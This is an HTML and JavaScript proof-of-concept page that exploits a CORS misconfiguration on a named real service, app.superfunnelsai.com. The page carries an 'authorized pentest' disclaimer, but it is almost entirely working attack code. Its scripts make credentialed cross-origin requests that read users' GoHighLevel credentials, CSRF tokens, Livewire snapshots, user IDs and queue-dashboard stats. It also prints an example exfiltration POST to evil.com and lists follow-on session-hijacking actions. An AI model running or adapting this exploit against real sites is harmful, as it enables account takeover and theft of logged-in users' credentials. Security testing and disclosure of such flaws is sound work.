362 lines
14 KiB
HTML
362 lines
14 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<title>CORS Token Theft PoC — SuperFunnels AI</title>
|
|
<style>
|
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
|
body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff41; padding: 40px; }
|
|
h1 { color: #ff3333; margin-bottom: 10px; font-size: 24px; }
|
|
.subtitle { color: #888; margin-bottom: 30px; font-size: 14px; }
|
|
.panel { background: #111; border: 1px solid #333; border-radius: 8px; padding: 20px; margin-bottom: 20px; }
|
|
.panel h2 { color: #ffaa00; margin-bottom: 15px; font-size: 16px; }
|
|
button { background: #ff3333; color: white; border: none; padding: 12px 24px; font-family: inherit; font-size: 14px; cursor: pointer; border-radius: 4px; margin: 5px; }
|
|
button:hover { background: #ff5555; }
|
|
button:disabled { background: #333; color: #666; cursor: not-allowed; }
|
|
.log { background: #0a0a0a; border: 1px solid #222; padding: 15px; border-radius: 4px; max-height: 400px; overflow-y: auto; white-space: pre-wrap; font-size: 13px; line-height: 1.6; }
|
|
.success { color: #00ff41; }
|
|
.error { color: #ff3333; }
|
|
.warn { color: #ffaa00; }
|
|
.info { color: #66ccff; }
|
|
.stolen { color: #ff00ff; font-weight: bold; }
|
|
.header-bar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 30px; }
|
|
.status { padding: 6px 12px; border-radius: 4px; font-size: 12px; }
|
|
.status.ready { background: #1a3a1a; color: #00ff41; border: 1px solid #00ff41; }
|
|
.status.attacking { background: #3a1a1a; color: #ff3333; border: 1px solid #ff3333; animation: pulse 1s infinite; }
|
|
@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } }
|
|
.disclaimer { background: #1a1a00; border: 1px solid #444400; padding: 15px; border-radius: 4px; margin-bottom: 20px; color: #aaaa00; font-size: 12px; }
|
|
</style>
|
|
</head>
|
|
<body>
|
|
|
|
<div class="header-bar">
|
|
<div>
|
|
<h1>🔴 CORS Token Theft — Proof of Concept</h1>
|
|
<div class="subtitle">Demonstrates wildcard CORS + credential reflection on app.superfunnelsai.com</div>
|
|
</div>
|
|
<div class="status ready" id="status">READY</div>
|
|
</div>
|
|
|
|
<div class="disclaimer">
|
|
⚠️ <strong>AUTHORIZED PENTEST ONLY</strong> — This PoC demonstrates a real vulnerability.
|
|
It works by making cross-origin requests WITH cookies to the SuperFunnels API from this page (a different origin).
|
|
Because the server reflects any Origin + allows credentials, the browser lets us read the response.
|
|
<br><br>
|
|
<strong>How to test:</strong> Open another tab, log into app.superfunnelsai.com, then come back here and click "Run Exploit".
|
|
</div>
|
|
|
|
<div class="panel">
|
|
<h2>🎯 Attack Controls</h2>
|
|
<button onclick="runFullExploit()" id="btn-full">Run Full Exploit Chain</button>
|
|
<button onclick="testCorsOnly()" id="btn-cors">Test CORS Headers Only</button>
|
|
<button onclick="stealCredentials()" id="btn-steal">Steal GHL Credentials</button>
|
|
<button onclick="stealSession()" id="btn-session">Steal Session Info</button>
|
|
<button onclick="clearLog()">Clear Log</button>
|
|
</div>
|
|
|
|
<div class="panel">
|
|
<h2>📡 Exploit Output</h2>
|
|
<div class="log" id="log"></div>
|
|
</div>
|
|
|
|
<div class="panel">
|
|
<h2>🏴☠️ Exfiltrated Data</h2>
|
|
<div class="log" id="stolen-data">Waiting for exploit to run...</div>
|
|
</div>
|
|
|
|
<script>
|
|
const TARGET = 'https://app.superfunnelsai.com';
|
|
const logEl = document.getElementById('log');
|
|
const stolenEl = document.getElementById('stolen-data');
|
|
const statusEl = document.getElementById('status');
|
|
let stolenTokens = {};
|
|
|
|
function log(msg, cls = '') {
|
|
const time = new Date().toLocaleTimeString();
|
|
logEl.innerHTML += `<span class="${cls}">[${time}] ${msg}</span>\n`;
|
|
logEl.scrollTop = logEl.scrollHeight;
|
|
}
|
|
|
|
function setStatus(text, cls) {
|
|
statusEl.textContent = text;
|
|
statusEl.className = `status ${cls}`;
|
|
}
|
|
|
|
function clearLog() {
|
|
logEl.innerHTML = '';
|
|
stolenEl.innerHTML = 'Waiting for exploit to run...';
|
|
stolenTokens = {};
|
|
setStatus('READY', 'ready');
|
|
}
|
|
|
|
// Step 1: Verify CORS misconfiguration
|
|
async function testCorsOnly() {
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('PHASE 1: CORS Configuration Test', 'warn');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('');
|
|
log(`This page origin: ${window.location.origin}`, 'info');
|
|
log(`Target: ${TARGET}`, 'info');
|
|
log(`Testing if target reflects our origin with credentials...`, 'info');
|
|
log('');
|
|
|
|
try {
|
|
// Simple GET with credentials
|
|
const resp = await fetch(`${TARGET}/api/funnel-clone/credentials`, {
|
|
method: 'GET',
|
|
credentials: 'include',
|
|
headers: {
|
|
'Accept': 'application/json',
|
|
}
|
|
});
|
|
|
|
log(`Response status: ${resp.status}`, resp.ok ? 'success' : 'error');
|
|
log('', '');
|
|
log('Response headers:', 'info');
|
|
|
|
const corsOrigin = resp.headers.get('access-control-allow-origin');
|
|
const corsCreds = resp.headers.get('access-control-allow-credentials');
|
|
|
|
// Note: not all headers are exposed to JS, but CORS headers are
|
|
log(` Access-Control-Allow-Origin: ${corsOrigin || '(not visible to JS)'}`, corsOrigin ? 'stolen' : 'warn');
|
|
log(` Access-Control-Allow-Credentials: ${corsCreds || '(not visible to JS)'}`, corsCreds ? 'stolen' : 'warn');
|
|
|
|
if (resp.ok) {
|
|
log('', '');
|
|
log('🔴 CORS VULNERABILITY CONFIRMED!', 'error');
|
|
log('The server allowed a cross-origin credentialed request', 'error');
|
|
log('and we could read the response. This means ANY website', 'error');
|
|
log('can steal data from logged-in users.', 'error');
|
|
|
|
const data = await resp.json();
|
|
log('', '');
|
|
log('Response body (proving we can read it):', 'success');
|
|
log(JSON.stringify(data, null, 2), 'success');
|
|
return { success: true, data };
|
|
} else if (resp.status === 401) {
|
|
log('', '');
|
|
log('Got 401 — you are not logged into SuperFunnels in this browser.', 'warn');
|
|
log('Log in at https://app.superfunnelsai.com/app/login in another tab,', 'warn');
|
|
log('then come back and try again.', 'warn');
|
|
return { success: false, reason: 'not_logged_in' };
|
|
} else {
|
|
log(`Unexpected status: ${resp.status}`, 'error');
|
|
const text = await resp.text();
|
|
log(text.substring(0, 500), 'error');
|
|
return { success: false, reason: 'unexpected_status' };
|
|
}
|
|
} catch (e) {
|
|
log(`Request failed: ${e.message}`, 'error');
|
|
log('', '');
|
|
if (e.message.includes('CORS') || e.message.includes('cross-origin')) {
|
|
log('CORS blocked the request — the vulnerability may have been patched!', 'success');
|
|
} else {
|
|
log('Network error — check if the target is accessible.', 'warn');
|
|
}
|
|
return { success: false, reason: 'error' };
|
|
}
|
|
}
|
|
|
|
// Step 2: Steal GHL credentials
|
|
async function stealCredentials() {
|
|
log('', '');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('PHASE 2: GHL Credential Exfiltration', 'warn');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('');
|
|
log('Attempting to steal GHL session data...', 'info');
|
|
|
|
try {
|
|
const resp = await fetch(`${TARGET}/api/funnel-clone/credentials`, {
|
|
method: 'GET',
|
|
credentials: 'include',
|
|
headers: { 'Accept': 'application/json' }
|
|
});
|
|
|
|
if (resp.ok) {
|
|
const data = await resp.json();
|
|
log('', '');
|
|
log('🏴☠️ CREDENTIALS STOLEN:', 'stolen');
|
|
log(JSON.stringify(data, null, 2), 'stolen');
|
|
|
|
stolenTokens.ghlCredentials = data;
|
|
updateStolenDisplay();
|
|
|
|
// Check if there's an active GHL session
|
|
if (data.session && data.session.exists) {
|
|
log('', '');
|
|
log('⚡ ACTIVE GHL SESSION FOUND!', 'error');
|
|
log('The user has a connected GoHighLevel account.', 'error');
|
|
log('Their GHL tokens are accessible via this endpoint.', 'error');
|
|
} else {
|
|
log('', '');
|
|
log('No active GHL session — but we proved the endpoint is readable.', 'warn');
|
|
log('If the user had GHL connected, we would have their tokens.', 'warn');
|
|
}
|
|
return data;
|
|
} else if (resp.status === 401) {
|
|
log('Not logged in — need an active session.', 'warn');
|
|
}
|
|
} catch (e) {
|
|
log(`Failed: ${e.message}`, 'error');
|
|
}
|
|
}
|
|
|
|
// Step 3: Steal session/CSRF info
|
|
async function stealSession() {
|
|
log('', '');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('PHASE 3: Session & CSRF Token Theft', 'warn');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('');
|
|
|
|
// Try to get the XSRF token from cookies (it's not HttpOnly)
|
|
const cookies = document.cookie;
|
|
log(`Cookies visible from this origin: ${cookies || '(none — expected, cookies are scoped)'}`, 'info');
|
|
log('', '');
|
|
log('Note: We cannot read their cookies directly (same-origin policy).', 'info');
|
|
log('But we CAN make requests that INCLUDE their cookies, and read responses.', 'info');
|
|
log('This is what makes the CORS vuln so dangerous.', 'info');
|
|
log('', '');
|
|
|
|
// Try fetching the main app page to get CSRF token from meta tag
|
|
try {
|
|
log('Fetching app page to extract CSRF meta tag...', 'info');
|
|
const resp = await fetch(`${TARGET}/app/funnel-cloner`, {
|
|
credentials: 'include',
|
|
headers: { 'Accept': 'text/html' }
|
|
});
|
|
|
|
if (resp.ok) {
|
|
const html = await resp.text();
|
|
|
|
// Extract CSRF token from meta tag
|
|
const csrfMatch = html.match(/csrf-token['"]\s*content=['"](.*?)['"]/);
|
|
if (csrfMatch) {
|
|
log(`🏴☠️ CSRF TOKEN STOLEN: ${csrfMatch[1]}`, 'stolen');
|
|
stolenTokens.csrfToken = csrfMatch[1];
|
|
}
|
|
|
|
// Extract Livewire data
|
|
const wireMatch = html.match(/wire:snapshot="(.*?)"/);
|
|
if (wireMatch) {
|
|
try {
|
|
const snapshot = JSON.parse(wireMatch[1].replace(/"/g, '"'));
|
|
log(`🏴☠️ LIVEWIRE SNAPSHOT STOLEN`, 'stolen');
|
|
stolenTokens.livewireSnapshot = snapshot;
|
|
} catch(e) {}
|
|
}
|
|
|
|
// Extract user ID from meta or script
|
|
const userIdMatch = html.match(/user[_-]?id['":\s]+(\d+)/i);
|
|
if (userIdMatch) {
|
|
log(`🏴☠️ USER ID STOLEN: ${userIdMatch[1]}`, 'stolen');
|
|
stolenTokens.userId = userIdMatch[1];
|
|
}
|
|
|
|
// Extract Reverb/Pusher config
|
|
const reverbMatch = html.match(/REVERB_APP_KEY['":\s]+'([^']+)'/);
|
|
if (reverbMatch) {
|
|
log(`🏴☠️ REVERB KEY: ${reverbMatch[1]}`, 'stolen');
|
|
}
|
|
|
|
log('', '');
|
|
log('Full HTML response received — could extract any data from the page.', 'success');
|
|
log(`Response size: ${html.length} bytes`, 'info');
|
|
|
|
updateStolenDisplay();
|
|
} else if (resp.status === 401 || resp.status === 302) {
|
|
log('Not logged in or redirected to login.', 'warn');
|
|
}
|
|
} catch(e) {
|
|
log(`Failed: ${e.message}`, 'error');
|
|
}
|
|
|
|
// Try the Horizon API too
|
|
log('', '');
|
|
log('Bonus: Testing Horizon queue dashboard access...', 'info');
|
|
try {
|
|
const resp = await fetch(`${TARGET}/horizon/api/stats`, {
|
|
credentials: 'include',
|
|
headers: { 'Accept': 'application/json' }
|
|
});
|
|
log(`Horizon /api/stats: ${resp.status}`, resp.ok ? 'stolen' : 'info');
|
|
if (resp.ok) {
|
|
const data = await resp.json();
|
|
log(`🏴☠️ HORIZON STATS STOLEN:`, 'stolen');
|
|
log(JSON.stringify(data, null, 2), 'stolen');
|
|
stolenTokens.horizonStats = data;
|
|
}
|
|
} catch(e) {
|
|
log(`Horizon: ${e.message}`, 'info');
|
|
}
|
|
}
|
|
|
|
// Full exploit chain
|
|
async function runFullExploit() {
|
|
setStatus('ATTACKING', 'attacking');
|
|
log('╔═══════════════════════════════════════════════╗', 'error');
|
|
log('║ CORS TOKEN THEFT — FULL EXPLOIT CHAIN ║', 'error');
|
|
log('║ Target: app.superfunnelsai.com ║', 'error');
|
|
log('║ Attack: Cross-Origin Credential Theft ║', 'error');
|
|
log('╚═══════════════════════════════════════════════╝', 'error');
|
|
log('', '');
|
|
log(`Attacker origin: ${window.location.origin}`, 'info');
|
|
log(`Victim site: ${TARGET}`, 'info');
|
|
log('', '');
|
|
log('In a real attack, this page would be hosted on evil.com', 'warn');
|
|
log('and the victim would visit it while logged into SuperFunnels.', 'warn');
|
|
log('All stolen data would be sent to the attacker\'s server.', 'warn');
|
|
log('', '');
|
|
|
|
const corsResult = await testCorsOnly();
|
|
|
|
if (corsResult.success || corsResult.reason !== 'error') {
|
|
await stealCredentials();
|
|
await stealSession();
|
|
}
|
|
|
|
log('', '');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('EXPLOIT CHAIN COMPLETE', 'warn');
|
|
log('═══════════════════════════════════════', 'warn');
|
|
log('', '');
|
|
|
|
if (Object.keys(stolenTokens).length > 0) {
|
|
log('In a real attack, all stolen data would now be', 'error');
|
|
log('POSTed to the attacker\'s C2 server. Example:', 'error');
|
|
log('', '');
|
|
log('fetch("https://evil.com/collect", {', 'error');
|
|
log(' method: "POST",', 'error');
|
|
log(' body: JSON.stringify(stolenData)', 'error');
|
|
log('})', 'error');
|
|
log('', '');
|
|
log(`Total items exfiltrated: ${Object.keys(stolenTokens).length}`, 'stolen');
|
|
|
|
// With CSRF token, we could also WRITE data
|
|
if (stolenTokens.csrfToken) {
|
|
log('', '');
|
|
log('⚡ WITH THE CSRF TOKEN, WE COULD ALSO:', 'error');
|
|
log(' - Inject our own GHL session via /api/ghl-session/extension', 'error');
|
|
log(' - Delete the user\'s GHL session via DELETE /api/funnel-clone/credentials', 'error');
|
|
log(' - Perform any state-changing action as the user', 'error');
|
|
}
|
|
}
|
|
|
|
setStatus('COMPLETE', 'ready');
|
|
updateStolenDisplay();
|
|
}
|
|
|
|
function updateStolenDisplay() {
|
|
if (Object.keys(stolenTokens).length === 0) {
|
|
stolenEl.innerHTML = 'No data exfiltrated yet.';
|
|
return;
|
|
}
|
|
stolenEl.innerHTML = '<span class="stolen">EXFILTRATED DATA:</span>\n\n';
|
|
stolenEl.innerHTML += JSON.stringify(stolenTokens, null, 2);
|
|
}
|
|
</script>
|
|
|
|
</body>
|
|
</html>
|